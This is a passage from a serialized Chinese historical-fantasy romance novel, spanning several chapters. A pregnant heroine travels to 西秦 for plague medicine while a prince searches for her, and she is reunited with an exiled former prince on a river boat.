然易三少在俩个心中对衣上云的事情皆是充满了无限好奇的女子前面,却是也仅仅只停顿了一下便又再次迈起步来,对俩人心中的疑惑皆都毫无回应。 其实在他的心里,他又何尝不希望,如果可以,衣上云的一辈子,永远只单纯地是衣府曾经那个最不被重视的女儿。 如此,她的命运便不会遭遇这般多的痛苦无助与颠沛流离。尤其是一想到她未婚先孕,以后又将独自面临的艰辛之路,他的心中便惆怅不已。 遂默想了一瞬,兀自最后只开口说了句:“待会儿见了丫头,你们都听我的命令行事,绝不许你们再擅自行动!” “是。”俩人遂默默地收起声来,紧紧追随着答应道。 另一岔路上。 衣上云尽管紧赶慢赶,却依旧应验了之前妇人所说,一路上,除了自己以外,她果然没有再遇到过任何人。 看来因了龙虎城的这场大疫,封城的显然已经不仅仅单只是龙虎城。 如今怕是就连与其相邻的南安与西秦国边境地区,亦都全部断绝了与东宁国的所有往来。 “看来,灵空各国皆都已经对龙虎城的这场突如其来的疫病采取了颇为严格有效的防控措施。” “而也正因了这场疫病,反倒是使得东宁因祸得福,在本应该是各国乘着新君继任最薄弱的时机将其扩为自己的囊中之物的最好机会,却都迟迟不敢动手。” …… 衣上云挎着妇人为其准备的包袱,一边轻轻擦拭着额头的汗水,虽不知前方自己究竟能不能顺利进入西秦境内,却依旧坚定不移地继续往前走着,自言自语分析着这一切,发出阵阵呢喃细语道。 不知不觉间,夜幕竟就这样悄悄降临到大地。 寂静的夜晚。 当她独自一人行至一不知名的山谷一瀑布下时,忽传出一阵“咕噜噜……咕噜噜……”的声音来。 这时,衣上云方才觉得自己着实有些渴了,亦有些饥饿,于是顿足停了下来。 似是本能一般地附手上去先温柔地抚摸着自己的腹部,垂眼对其满脸幸福与宠溺地说道:“乖!你是不是也有些饿了呀?真是对不住,尚未及待你出生,便就让你随我如此跋山涉水,翻山越岭,真是委屈你了!” 感觉自己着实已有些体力不支,于是便放眼朝着周围张望了一瞬,最后上前两步来到了溪边,蹲身下去用双手捧了两把甘甜的溪水饮下。 最后倚靠着身旁的一棵茂盛的老槐树席地而坐了下来,这才缓缓解开了包袱。 不想里面用一块兰花粗布包着的,竟是几块白面干粮。 如今正值大疫封城之际,各地百姓们就连粗粮都紧的不行,妇人竟然还给自己备了白面干粮。 见此,衣上云的脸上顿时变得严肃了起来,却是后来又渐渐转为了笑脸。 最后,她小心翼翼视其如同珍宝一般地取出其中的一块儿来撕了一小片,放入嘴里慢慢咀嚼品味了起来。 又兀自轮起胳膊来为自己捶了捶早已有些酸痛的胳膊与双腿。无意间目光一斜,瞥见了身后不远处竟有一片碧草连天的广阔山坡。 晚风轻轻的吹过,草浪随风起伏,溪水潺潺,远处峰峦叠起,空气中到处弥漫荡漾着阵阵的涟漪花香。 微微抬起头来,见夜空中无数星光灿烂,头顶的满天星斗各个都在闪闪烁烁,似是在朝她眨着眼睛打招呼一般。 皎洁的月光照在山谷中,天地之间一片静谧,令人分外惬意。 她真的喜欢极了,于是起身来到了山坡的草地上躺下,枕着胳膊本能一般地微微闭起眼睛来深深吸了一口气。 瞬间,只觉自己整个人所有的疲劳与不顺利,一切的坏心情似是都被抛到了九霄云外去一般,她不禁感叹地说道:“此情此景,若是再能岁月静好,现世安稳,那该有多好!” 说完一睁开眼,复又缓缓用一只手,一遍又一遍地温柔抚摸着自己的腹部,对其轻柔细语地说:“待到瑞雪纷飞的季节,你也该如约而至,来到我的身边了对吗?到那时,在这世上,我便永远再也不会是孤孤单单一个人了!” 轻轻舒了口气,接着信誓旦旦地说:“相信我,等平息了这场大疫,我便会带你远离皇宫,远离这一切,远离世间所有争斗。我们去寻一处与世隔绝的世外桃源,在那里,我一定会好好保护你,此生绝不让你受一丁点儿委屈。” 说着说着,只见她脸上的笑容渐渐淡去,忽深深地叹了口气,望着眼前的漫天繁星点点一脸忧色地道:“可眼下救人要紧,若是再找不到可以代步的车马,如此下去,不要说到达西秦取回麻黄救治龙虎城的百姓了,怕是连你,我都快要保不住了呢……” 就在这时,衣上云的眼睛忽然瞥到正被自己压在脑袋下枕着的一只手腕上,那只七彩金丝彩玉镯子正隐隐发出一阵明明灭灭的紫色光芒来。 她吃惊地坐了起来,瞪大眼睛盯视着它,一动也不动。 只见那一丝一缕的紫色光芒,正在一道一道源源不断地被抽出,最后所有紫芒汇聚在一起,竟显出来一个巨大的凤凰虚影盘旋于夜空中。 只见其在空中停留了片刻,最后忽然猛的向下全部灌入到衣上云的体内。 霎那间,衣上云的整个身体都被其照亮,一时间里,其周围恍若白昼一般。 不知过了多久,忽然“嗖”地一下,只见衣上云,连同那道紫芒一起,便就这样奇迹般地凭空消失不见了。 静静的山谷里,瞬间又恢复了往日的平静,仿佛方才的一切都没有发生过一般,谁都不曾来打扰过。 午夜时分。 “咚咚咚……” 一阵叩门声忽然响起。 闻声,透过窗棂,见柴门内一简陋的屋里,烛火被人缓缓燃起,急接着走出一妇人来,身上披着一件粗布薄衫。 妇人一边举着一盏灯火,一边打着哈欠,有些被打扰到了地不耐烦地问:“大半夜的,是谁在敲门啊?” 伴随着“嘎吱”一声响,门终于被其从里面打了开来。 妇人随即举起手中的烛火,朝着门外的来人脸上一照,只见一面容姣好,两道桃花眼,气质不凡的俊俏男子脸现了出来。 将其从头到脚仔细打量了一番,妇人心里似是已经有所怀疑,却依旧佯装着问:“不知公子是何人?深夜造访寒舍,有何贵干?” 那桃花眼男子恰到好处地微微笑着,颇为客气地朝其行礼后问:“这位大嫂,不好意思这么晚前来打扰。敢问此处近日里是不是来了一位姑娘?” “姑娘?我想公子是不是有什么误会,我这里可是民居,哪里来的什么姑娘?公子若是夜里寂寞睡不着,想要找乐子,就该去城里的那些烟花柳巷才对,怎么来如此之穷乡僻壤里寻起姑娘了。公子一定是走错地儿了……”妇人说着,便欲将门合起来。 “啪”一声。 见此,桃花眼男子着急的忙将一掌拍在了门板上,将门撑住。 妇人顿抬起头来惊看向他的脸,道:“你想做什么?” 男子急忙解释道:“大嫂你误会了,我不是那个意思。” “那你是什么意思?”妇人没好气地道。 男子顿了顿,认真地说道:“实不相瞒,那位姑娘,她于我而言,是我极为重要的人。” “极为重要?有多重要?”妇人试探着问。 男子看着妇人的眼睛,道:“比我的命还要重要!” “看他如此着急,莫非他就是孩子的父亲?!”妇人的心里一念至此,便有些责怪地道:“既是比你性命更为重要之人,又怎能让她一人出门,都已经有了身子了,也不知道好好在旁照顾着点。这万一要是有个什么闪失,定是后悔亦是来不及的。” “对对对,大嫂教训的是,我亦是至今都自责不已呢。所以……是不是,她此刻就在大嫂的屋里歇息着呢?”男子说着,便开始满脸希冀地朝屋内探视了起来。 第五百零二章:都只不过一个你而已 “对对对,大嫂教训的是,我亦是至今都自责不已呢。所以……是不是,她此刻的确就在大嫂的家里歇脚呢?” 男子说着,便踮起脚尖来开始满脸希冀地朝屋内自己目光所能及的一切范围之内急急探视了起来。 可就在这时,那妇人忽然朝其开口阻止道:“不要看了,这座院子里除了我,没有其他人。” 自此过去的无数个因担忧她的安危而彻夜无眠的日子里,如今好不容易寻到了衣上云的行踪。 一路上,他满心欢喜地期待着与她的再次相聚,以及哪怕是自己一厢情愿的满心盘算,却在听到这句话时瞬间一切被击得粉碎。 男子简直不敢相信自己的耳朵,脸上期待已久的表情尚来不及收回,顿满脸质疑的瞪向远远立在一旁的两名婢女。但见两婢女亦是同时互相面面相觑着,露出与自己同样疑惑的表情。 随后他又将目光愣愣地移向妇人的脸,不解地问:“大嫂你说什么?我的两个婢女她们明明将她送至此地,且亲自托付给大嫂。尔今大嫂又怎会说此院子里只有你一人呢?” 妇人见他脸色顿时已然失望至极,有些不忍心,却亦只能深深地吐了一口浊气,缓缓解释道:“那位姑娘,她醒来后说她有要事要去西秦国,而并非南安,又怕你们回来后再继续纠缠,于是便求我……她早就已经迫不及待的启程前往西秦国去了。” 世上的事,果然是越怕什么便越会来什么。没想到他千赶万赶,还是来迟了。 闻此,男子顿时附手上去紧紧捉住了妇人的手腕,朝其瞪大了眼睛,激动地说道:“她真的去了西秦? 男子明显已经有些失态,对妇人连连质问道:“可你……你怎么不拦住她呢?你怎么能允许她这样做?你知不知道她已经有孕在身?去往西秦的路长路漫漫,又是何其的艰难崎岖,你怎能任由她一人前往?这路上,万一要是有个什么闪失,那该如何是好?” 殊不知在妇人的心里,虽自一别至今也一直为其担心着,而此刻却似一点儿也不惧怕男子的威严,迎上他的目光坚定地说道:“我当然知道她是个有孕在身的女子,所以我更知道,能让一个孕妇会不惜自己肚子里的孩子安危而要去做的事情,在这世上,是绝对没有人能拦得住的。” 仿佛这段话真的震慑到了男子,见此,妇人放低了些许声音继续说道:“眼下,龙虎城正危在旦夕,她要去做的事情,是为了拯救一座城,不,那是一件事关乃至这片大陆上千千万万人的性命。” 妇人字字铿锵:“姑娘此举,值得我们每一个人敬佩与支持,包括你。” 妇人所说的道理,男子心中又岂会不懂。可眼下,这个人不是别人,而是衣上云,是他的丫头,是他此生不惜愿意用自己的生命去守护的人。说到底,他始终都不愿意衣上云再独自一人去西秦见秦王轩辕瀚。 若她当下并非有孕在身或许还好,多少念在旧日的情分上,那轩辕瀚或许未必会把她怎么样?可如今,她是当着秦王的面,亲口否认了他乃就是她孩子的父亲。 姑且不说,那人乃是睚眦必报的灵空战神秦王。就算是世上的任何一个平凡普通的男人,谁能接受得了自己的女人,怀了别人的孩子。 所以,在他看来,衣上云此去,无疑便是狼入虎口,自投罗网。 一念至此,他似是都不敢继续想下去这次轩辕瀚究竟会把衣上云怎么样? 他怎么都不愿意相信,于是忽然开始抗拒着在心里对自己一声声地说道:“不,丫头不会这样做,她绝对不会这样做。她是那样地在意那个孩子,不允许他受到半分伤害。她不可能让自己身处于危险之中,不可能,这绝不可能。” 一念至此,他整个人忽然似是变得咆哮了起来:“你少在这里强词夺理,你到底把丫头藏哪儿去了?在我尚还没有彻底失去耐心之前,我劝你赶快把她交出来,若是待会儿她被我找到,让我知道你骗了我,休怪我对你不客气。” 说着,男子便一把大力地将妇人推了开来,兀自提步气冲冲地跨过门槛冲了进去。 一进门,便一边朝屋内四处张望搜索着,一边急声呼喊:“丫头,你在哪儿?快出来,丫头……” “嘶……”身后妇人冷不防地被其用力一推,顺势不小心撞到了自己的额头,来不及吃惊兀自吃痛地倒抽了一口凉气,忙抬手捂住了隐隐作痛的伤口。 这时,一直默不作声紧紧地跟在男子身后的俩婢女,也追随其主子快步上前一起跨过了门槛。 在经过妇人的身边时,俩人狠狠的瞪了那妇人一眼。 不知过了多久。 主仆三人分头于前院,后院的角角落落里到处经过极为仔细的一番搜索后,显然未寻见衣上云的半点儿踪迹。 最后,男子与一紫衣婢女俱都紧皱眉头着互相对视了一瞬后,迫不得已只得再次来到了院中央妇人所在的位置。 这次,尚未及男子开口说话,那紫衣婢女满腔愤愤地顿抽出了手中的长剑上前指着妇人,对其恶狠狠地道:“好一个不守信誉,恶毒的乡野村妇,我们外出的时候,明明交代你务必一定要将她给看好了,现如今,你竟敢私自藏匿她,究竟意欲何为?你可知道我家主人他是谁?你可知自己该当何罪?” 妇人对此毫不畏惧,眼睛不屑的瞟了一眼男子的脸,反问道:“我不守信誉?我恶毒?我该当何罪?” 那妇人冷笑了一声,继续说道:“且不说那姑娘是一个活生生的人,她并非十恶不赦的囚犯,亦非草木之躯。她有手有脚,不管你们是谁?哪怕就算是天上的玉皇大帝,亦没有权利束缚她的自由半分。况且,就我这巴掌大点儿的地儿,又如何能藏得住人?!我看,处心积虑地想要将那姑娘拐骗至南安国去的人,那才是真的不知意欲何为呢?” 闻此,紫衣婢女顿时气不打一处来,扬声朝其呵斥道:“放肆!区区一个乡野村妇,竟敢对我尊贵的南安国太子如此无礼,莫非,你当真笃定我不敢杀你吗?” 紫衣婢女说着,便将手里的剑尖又对着妇人的脖颈处靠近了许多。 仔细一看,那妇人的脖颈与剑尖相接触的地方,似是隐隐都已经有鲜血缓缓渗出。 “哼……”不想妇人听了这番话后,心中虽是对男子的身份亦是惊了一下,可最后却依然也只是对其冷冷地哼了一声,便扭过了头去不再理会。 见此,紫衣婢女似是已彻底黔驴技穷,无奈地看向了身后的主子,显然已经拿她没了办法,遂欲朝其征求意见道:“三少……” 就在男子犹犹豫豫,正思量妇人所言究竟是真是假时,从屋内忽然传出另一婢女的声音来:“三少,快看我找到了什么?” 那婢女说着,便朝男子疾步奔了过去将一封信交到了其手中。 男子一把将其接过,一见到熟悉的“三少亲啟”四个字,便快速地将里面的信纸抽出展了开来。 顿时,在那张姣好的面容上,紧紧皱起不知已经有多久的眉头终于舒展了开来。 此刻,他甚至还有些喜出望外地惊道:“是丫头,真的是丫头,这的确是丫头的笔迹。” 可没过多久,却见男子脸上的笑容在一点一点地流失,方才好不容易舒展开来的眉头,竟就这样悄无声息地再次紧紧挤在了一起,像是浓的再也化不开了似的。 见此,寻到这封信的婢女终是沉不住气,焦急地问:“怎么样?怎么样,衣姑娘信中都说了些什么?” “我喜欢做的事,所爱的人,自始至终,都只不过一个你而已。可为什么?为什么你就是不愿意听我的话呢?” 男子对于婢女的提问,并没有回答只字片语,在认真地看完了这封信后,痴痴愣愣地一边自言自语地说着这段话,默默走出了院子,手里的信纸亦随风缓缓飘落在地上,沾染了一地落红。 见此,紫衣婢女收回佩剑,缓缓蹲身下去好奇地将其拾了起来,低声读道。 “三少,原谅我始终还是没有勇气当面与你道别。你的心思我全都明白,冥冥之中,你我从在西秦的第一次相遇,至今已经过去了那么多难忘的时光。可一路走来,仿佛我一直就是你的麻烦。若不是因为我,或许直到现在,你依旧过着自己无忧逍遥的日子,指尖携一缕淡淡的药草香,悬壶济世。事到如今,所有一切都是多说无益。是时候停下脚步来,好好看看陪伴在你身边的人。是时候去做你喜欢的事,爱你该爱的人,余生,我会有他陪伴,你也不要再为我而羁绊。我们,都要好好生活,各自珍重!” 数日后。 一半山半水半朦胧的天地之间,一座古桥上,有一老翁牵着一头老黄牛正徐徐经过,一切都美的仿佛一幅画一般。 古桥下的江面上,一叶扁舟顺江而下,上面立着一个翩翩白衣公子,痴痴地望着眼前的一切。 第五百零三章:青山远黛遇故知 青山远黛,近水含烟之间,飘浮着薄如蝉翼的云朵。 傍晚时分的江面上,雾气升腾,宛若人间仙境一般。 忽然,远远地隐隐现出独有的一叶扁舟,使得原本平静的江面泛起了一道道涟漪。 白衣男子双手负后着挺拔地站立在船头,远眺群山。 船尾,一身着青衫的老汉正在缓缓摇橹,青山绿水,尽数倒映在江上。 船虽有些破旧,宛若老汉充满了沧桑,却刚好映衬了眼前此情此景。 这条江水,仿佛将喧嚣的尘世隔在了千里迢迢之外。 这山水之间,自有一番天地。 如此这般仿佛静止了的空气里,忽然传出这位头发花白的老船夫声音来道:“瞧这一路上公子看的如此入神,究竟是在看什么呢?咱们这穷乡僻壤,不知有什么好看的?” 那白衣男子闻声眨了眨眼,这才吸了口气,似是终于回过神来缓缓说道:“小时候,我总是不能理解父亲为什么总是能够在草原上静静地一坐,便是一整天。尔今长大之后,我才渐渐明白,目之所及,皆是回忆,心之所念,皆是过往,眼中所见,皆是遗憾。” 听闻如此落寞孤寂至极的话,老船夫不解地道:“看公子相貌出众,仪表堂堂,定是大富大贵之人。这血气方刚,正是男儿一生中意气奋发的大好时光,却怎会说出如此凄凉悲观的话来?令尊尚且健在,怕也不想看到公子如此愁眉不展吧?” 闻此,白衣男子不知想起了什么,忽皱了皱眉,便不再说话,仿佛又再次继续沉浸在了自己沉沉的思绪当中。 老船夫似是觉察到了自己像是说错了话,不敢再问,于是便急急收了声。 而此时的船舱里,静静地躺着一名身着青色纱衣的妙龄女子,正沉沉地深陷在自己的梦境中…… 那是一个到处林立着高楼大厦,车水马龙的新世界。 万家灯火中,透过玻璃窗,一裹着紫色浴袍的女人正坐在沙发上发呆。 肩头随意散落着刚沐浴完一头潮湿的秀发,凝脂红唇,白皙的皮肤胜似雪一般,独独唯有眼神里所流露出来的尽是忧郁。 忽地起身,只见其身体摇晃了两下,便顺势倒了下去。 而与此同时,在另一个世界里,伴随着滂沱大雨之夜,空中所现出的一道七彩凤凰虚影,一女子缓缓睁开了沉睡许久的眼眸。 顿时,她的周围响起了各种陌生的声音。 可要说这些声音陌生,那却是来自于自己的父亲母亲以及姨娘,同父异母的弟弟妹妹,还有一个从小陪伴她长到大的宛若亲姐妹一般的婢女。 如此看来,似乎,她们之间本来并不应该如此陌生才对。 可为什么她始终都觉得在这些人之中,却是没有一个人是自己所熟悉的呢?! 镜头一换再换…… “命里有时终须有,命里无时莫强求、因果轮回、百世契约、花开花落、既来之则安之。” “真龙出海,灵空一统,凤凰涅槃,浴火重生,生既是死,死亦是生。” “你是谁?你们是谁!你们都是什么人……” ”殿下,殿下,原谅我,原谅云儿……” “不……魏明轩……不,他不是你,你也不是他,我只要你,生生世世只要你。你回来,你快回来我身边……” 船头的白衣男子像是察觉到了女子正处于沉沉的梦魇之中,于是便转身挪步回到了船舱里,撩起袍角在其身边坐了下来。 显然不知这女子此刻到底在胡言乱语些什么,却见其额头渗出了许多密密的汗珠,便掏出自己随身携带的一方洁白的帕子为其温柔的擦拭起来。 就在这时,女子忽然睁开眼睛,醒了过来。 认真端详了一阵,见映入眼帘的这张面孔竟是一许久未见了的熟悉的面孔,女子吃惊的叫道:“你是……你是……二皇子?你是二皇子,你还活着,你真的还活着,这真是太好了!” 闻声,男子停下了手中的动作于半空中,心里亦是忽顿了住,“二皇子”这个称呼,已经有太久太久没有人这样叫过了,久的似乎连他自己都快要忘记自己曾经还有个一人之下万人之上的如此尊贵的身份。 一念至此,他遂将自己的手缩了回来,可也似乎再不敢继续与她对视,只凉凉地抗拒着说了句道:“什么二皇子?早都已经亡国了,从前的那个二皇子,亦早就已经死了。” 然女子却在看清了他的模样,又听到这句丧气至极的话以后,更加坚定不移地道:“不,你就是北烈国二皇子,拓跋弘,即便是你化成了灰,我也能认出来,你就是二皇子。” 许是失意,亦是再无言以对,对于自己永远不可能抹去的过去无法遮掩半分,不得已,男子只能起身来再次回到了船头。 他望着眼前所向平静的水面,心中却是泛起了层层涟漪,他想要努力的让自己许久以来好不容易归于平静的心情再次回归,却发现似乎已经很难再做到。 见男子离去,这时,望着头顶的狭小空间,感觉到正身处在摇摇晃晃之间,女子缓缓坐起身来,这才看到自己正身处于一叶扁舟之中。 索性,她便起身来欲往船头而去,就在这时,传出船尾老汉欣喜的声音来:“姑娘终于醒了!” 女子低头小心翼翼地提着裙摆正欲跨出船舱,闻声回头朝其笑了笑,正欲开口说话,船头的白衣男子听到老汉的声音,忙回头一见女子出来,便朝其伸过手去将其扶住,以防摔倒。 “多谢!”女子紧随其后走到了船头,男子确定其已安全,方才转过身去继续看着眼前这青山远岱。 女子则站在他身后,对着他如今看来依旧挺拔却看起来落寞极了的后背沉默了许久。 最后缓缓开口说道:“对不起,我也是后来才知道,这一切,都是因为我而起。” 男子自是对此毫无所知,只沉声说道:“这又怎么能怪你,都是我的错,怪我没有听父皇的话,没有做好一个皇子该做的事,没有替他……好好守住那片草原。” 说到伤心处,虽已时隔许久,但男子言语之间,难免还是略带哽咽。 闻此,女子上前两步,情绪顿显得有些着急地朝其解释说:“不,你不明白。这一切,的确都是我的错。若不是因为我到了草原上,秦王殿下,他……他也不会那么快便追到草原来。兴许,西北大战,便就不会那么快来临。” 听到这一切,男子的目光忽然顿住,恍然大悟,在心里默默地道:“原来是这样!” 可仔细一想,她也是皇兄想尽办法用卑鄙的手段才让她对那秦王产生了误会,心灰意冷方才拐骗至北烈的。所以终归,这一切,也不能全怪到她的头上。 北烈与西秦边境上的常年矛盾,仿佛万年寒冰,并非一日生成,更别说因为一个女人。所以西北之战,早晚有一天终会来临,莫说仅仅的西北大战,即便这整片灵空,很快,亦将会被贤能全数统一。 想到这里,如今早已能够平淡看透世事的他,缓缓转过身去看着女子的眼睛,一脸平静的对她说:“这不怪你,你亦无须自责。” 一时间,女子竟然想不出自己还能说些什么做些什么,疾步上前伸出手去握住男子的一只胳膊,一再对其满腹诚恳致歉道:“可我不知我还能为你做些什么?我必须要为你做些什么?好以此来弥补我所犯下的不可饶恕的错。一直以来,我的心里真的很是过意不去。终究,我还是没有兑现对老国君生前的承诺。” 可一提起父皇来,男子心中依旧满是愧疚,哪怕他自始至终是真的从来都没有想过要做这一国之君。 然此时面前站着的,又是自己这一辈子唯一喜欢过的女子。于是,他终是强忍着心中始终都难以平衡的矛盾,努力挤出一抹微笑来对女子说了句:“好了,一切是是非非,都已经过去了,最重要的,是我们都要继续好好地活着。” 男子说着,将自己一只强有力的大手附上了女子的手,安慰其道。 怕她继续这个沉重的话题,于是男子抢先转移了话题问:“对了,刚才我听你在睡梦中说了许多奇奇怪怪的话。其中,听你提起了一个叫做魏明轩的人,不知这个魏明轩……他是何人?” 闻此,女子方才缓缓松开了附在男子胳膊上的双手,兀自转过身去皱了皱眉,默想了一会儿,却是对此毫无记忆。 “魏明轩……我真的有提到过这个人吗?”女子重复了一遍,却是在脑海里没有寻到其一点儿痕迹。 男子十分肯定地朝其点了点头。 女子思索片刻后,若有所思地望着眼前的风景忽然缓缓说道:“二皇子,你相不相信前世今生?” 男子疑惑地问:“此话何意?” 女子心中略显迟疑,说:“其实,我总觉得……” 第五百零四章:只有你好,我才会好 “二皇子,你相不相信前世今生?” 拓跋宏疑惑地问:“此话何意?” 衣上云看着他的眼睛,似是从未这般认真的看过他,过了会儿,低声地说:“我知道,身为一名熟识医药之术之人,实属不该有这样的疑惑……” 心中略显迟疑,话未说完顿了顿,又缓缓收回视线转身背对着他,扫了一眼面前此刻正置身于的皆是一片幽静神秘的山水之间,缓缓再次开了口。 “可是,不知为何,冥冥之中,我总觉得自己并不属于这个世界。更像是,像是我本是来自于另一个世界的人,可我又怎么都想不起来自己究竟从哪里来?” 闻此,拓跋宏惊诧地望着她的背影,问:“你怎会有这样的想法?” 衣上云深吸了口气,依旧没有回头,只说道:“自始至终,我的所有记忆,都只不过是一些残缺不全的碎片而已。有的时候在梦中,不,那好像似梦又非梦,我甚至还能看到一个与现在完全不同的灯红酒绿的世界。对于这个世界,对于自己身边所有本应该极为熟悉的人,熟悉的事,我却从来都没有过完整的记忆,从来都没有过。无论是在以前的西秦国,身为一药师府上的废柴丑女,亦或是如今……” 见她话到此处欲言又止,拓跋宏索性开了口:“你不用隐瞒了,我已经知道……你乃是这灵空大陆上富甲一方的东宁国已故先皇后所出,自小被遗失在西秦国最尊贵的嫡公主。” “你是怎么知道的?”衣上云顿转回头惊讶不已地问。 拓跋宏道:“不久前,在东宁老国君忽然薨逝后,东宁国朝堂动荡,因新君继任一事,公主于朝堂之上,与那一向嚣张跋扈惯了的继后据理力争。那个位置,本应是公主的,最后却让给了那个出身卑微的三皇子梅志煊。公主此举,可真是令这整片大陆都为之而震惊啊!” 见他明显话里有话,似是在责怪自己对他隐瞒了身份,然衣上云收回目光后,却依旧坚定自己选择地说道:“一个人的出身是否高贵,并不能代表什么?没有人能决定自己的出身?三皇兄,他平日里行事虽偶有过错,然如今,在他亲眼目睹经历了龙虎城的这场大疫之后,假以时日,他一定会有所改变。他始终都比我更适合那个位置。况且,如今乃东宁国多事之秋,而我又……” 衣上云说着,缓缓低头下去悄悄地伸出一只手来,轻抚自己的腹部,脸上露出了许多忧郁之色。 拓跋宏透过她的背影察觉到她的动作,思之又思后,终于还是忍不住开口问:“既然已经有了他的骨血,又为何要拒他于千里之外?这难道不是你当初一直想要的结果吗?莫非……只因为他府上已经有了一位正妃?” 衣上云淡淡地笑了笑,说:“果然二皇子是最懂我的人,不但知道我已经身怀有孕,还知道孩子的父亲是谁,不像某些人……” 是啊,就连久未蒙面的拓跋宏猜都能猜到这个孩子一定是轩辕翰的,可轩辕翰本人,在听了自己声称这个孩子是易三少的时候,却似是一点也没有怀疑过。虽然自己心底里也是不愿意让他知道这个孩子是他的,可心中难免还是为此起了一丝丝凉意。 方才二人的谈话,因为再一次提起了轩辕翰,衣上云又一次陷入了沉默和回忆之中。 过了一会儿,两人似是依旧各自都深陷自己沉沉的思索之中,显然不记得这一叶扁舟已经经过了多少座山。 直到一重重,一叠叠,最后所有的山峰都已被远远的抛在身后,前方不远处隐隐约约现出一处可以停靠的岸边来。 拓跋宏忽然瞥见,知道船一靠岸,便是西秦皇城所在了。 于是,最后犹犹豫豫地问:“云儿,如果有一天,假如你真的回到了属于你的世界,你……还会记得我吗?会不会……在你未来的记忆中,最后我也变成了那些模模糊糊的碎片而已。” 对于拓跋宏明显充满期待的眼神,衣上云却并没有回答他的问题,只是顿转回头瞪大了眼睛惊讶地问:“回到属于我的世界?所以……你也相信这个世界上是有前世今生的对吗?” “我……”看到此刻激动的甚至连双眼里都尽显出无限光芒的衣上云,拓跋宏实不忍心拒绝她,见她伤心,最后只能违心默默地点了点头。 衣上云听了开心极了,尔后忽然说道:“不会的,你是一个好人,无论何时,我会永远记得你的。” 听到这句话,拓跋宏喜出望外,惊的似是瞬间都反应不过来了。一时间,也不知道自己该说些什么?只眼睁睁地看着女子的双眼,两人就这么四目相对着,再无人说话。 不知不觉间,直到传出船家提醒吆喝的声音来:“俩位客官当心,船要靠岸了!” 这才惊醒了俩人。 靠岸后,拓跋宏小心翼翼地将衣上云亲自扶上了岸,衣上云朝其致谢:“这一程,真是多谢你了,如果不是遇到你的话,我还不知自己要到猴年马月才能抵达西秦呢?” “只不过是举手之劳,你又何必总是对我如此客气。西秦已经到了,快去吧,去找你要找的人。做你想做的事。但是无论何时,遇到任何事,答应我千万不要委屈了自己。”拓跋宏关切地道。 听了这句话,没想到事到如今,他竟然还如此关心自己,衣上云的鼻子忽然一酸,眼里瞬间噙满了泪水,却依旧强忍着问:“那你呢?你今后有什么打算?” 霎时,空中一只孤独的飞鸟从俩人身边经过,拓跋宏抬头追随那无依无靠的鸟儿远去的身影许久许久…… 最后将目光移向距离江边不远处一身披斗笠正在动作娴熟地将手里的渔网忙着撒下的老渔翁,道:“山河故人尽数亡,余生来去皆已空,世人终为生活累,吾只江畔羡渔翁。” 闻此,衣上云再也控制不住自己的情绪,只闻“扑通”一声,便重重地跪了下来,紧紧拽着拓跋宏的袍角,声泪俱下地朝其致歉道:“对不起,对不起,都是我的错,这都是我的错,国破家亡,流离失所,无家可归,是我害你成了现在这个样子。你骂我吧,你打我吧……” 见此,拓跋宏顿时一边弯腰下去将她扶起,一边惊道:“你这是做什么?起来,快起来,快点起来,小心你腹中的胎儿。” 衣上云自责不已,依旧跪着,哭着,嘴里不停说着重复的话。 怕自己的蛮力会伤到她腹中胎儿,又不敢将她大力扶起,拓跋宏劝了很久很久:“我说过,一切都已经过去了,我们都要好好的活着。况且你一直都是知道的,我本来就不想做草原上的王。或许,因为见到了你,想起我们在草原上和父王一起度过的那些美好的日子。我只是更加想念父王了而已,所以才会说出刚才的那些话来。我真的是无心的。你快起来,你若是再不起来,我,我,那我只能……” 见自己此刻显然说什么都没有用了,心里一急,索性他自己也“扑通”一声跪了下去,为她默默擦拭起泪水来。 待衣上云终于平复了些许下来,拓跋宏才乘机将其小心翼翼地扶起身来:“云儿,方才的这些话,以后再也不要说,永远都不要说,我只要你好好的活着,开心的活着。” “可是,殿下你……”衣上云紧着眉头,似是依旧无法释怀。 拓跋宏道:“记住,这一生,只有你好,我才会好。所以你很重要,你必须让自己好好的。” 衣上云似是只能很努力地朝他点头答应:“嗯” 至此,拓跋宏的脸上终于露出了许久未见的淡淡的笑容。 坚持着一定要目送衣上云先行离开的拓跋宏,一直看着她的身影渐渐消失在自己的视线,方才提起袍角再次回到了船上。 “公子不是也要到西秦皇城的吗?这位姑娘已经有孕在身,需要人照顾。如此,公子又为何不与姑娘同行好照顾一二呢?”船家挠了挠后脑勺,不解地问。 此时的拓跋宏早已恢复了一脸严肃,说道:“无论如何,这里始终都是她的家,对她来说是安全的。可眼下,我得先去城南找一个人,弄清楚一件事情才行,希望这次的消息是对的。” 立在船头,双手负后着看着衣上云离去的方向,拓跋宏低声喃喃细语道:“云儿,只要知道我在你的心里是有一席之地的,便就足够了,这一生,我会永远守护着你。你失去的记忆,我会帮你全都找回来,等我。” 西秦国,秦王府。 院子里百花争艳,到处春意盎然一片生机。 层层海棠花瓣掩映下的满园春色,微风轻拂,海棠花飞落,水面鸭游走。让人不禁想起冯延巳的《谒金门·风乍起》。 风乍起,吹皱一池春水。闲引鸳鸯香径里,手挼红杏蕊。斗鸭阑干独倚,碧玉搔头斜坠。终日望君君不至,举头闻鹊喜。 第五百零五章:近闻喜鹊枝头叫 “殿下,我的心并不大,但是刚刚好,就只能装下殿下一人。这一生,云儿只求能与殿下一生,一世,一双人。” “殿下,新年快乐!新年新气象!” “云儿见之前做给殿下的那个香囊已然失去了效用,便带着燕儿一起出门去再给殿下寻了个回来。只是,与殿下赠云儿的百宝箱相比,云儿的一点儿也不足挂齿。这个香囊可以防治疫毒,药包里面是由苍术、藿香、艾叶、吴茱萸、雄黄、冰片、樟脑等制成药,这类香囊气味温香,走窜,深沉,持久,具有避其毒气的作用。” “当我得知,父皇驾崩前所立下的遗嘱,竟然是将整个东宁国都交给了我,我才知道父皇为何当初要赐予我……永宁……的封号。所以,即便我不是一国之君,哪怕只是小小的一介草民,亦有责任用自己的一生来守护这座城,不死不休。这一生,我都不会离开这里。所以,这将是我们俩之间永远都逾越不了的鸿沟……” “是三少的。怎么,莫非就连本公主已怀了别人的孩子,秦王也可以完全不在乎,执意还要我吗?” “你我之间,从始至终,皆都只是逢场作戏而已。与你,我从来都未付出过半点儿真心!” …… 承华殿里,轩辕翰一袭锦衣白袍,墨发全束,正双手负后着立在窗前,对着院子里黄昏下别致的园中景致陷入沉思,回忆着过去或悲或喜的一点一滴。 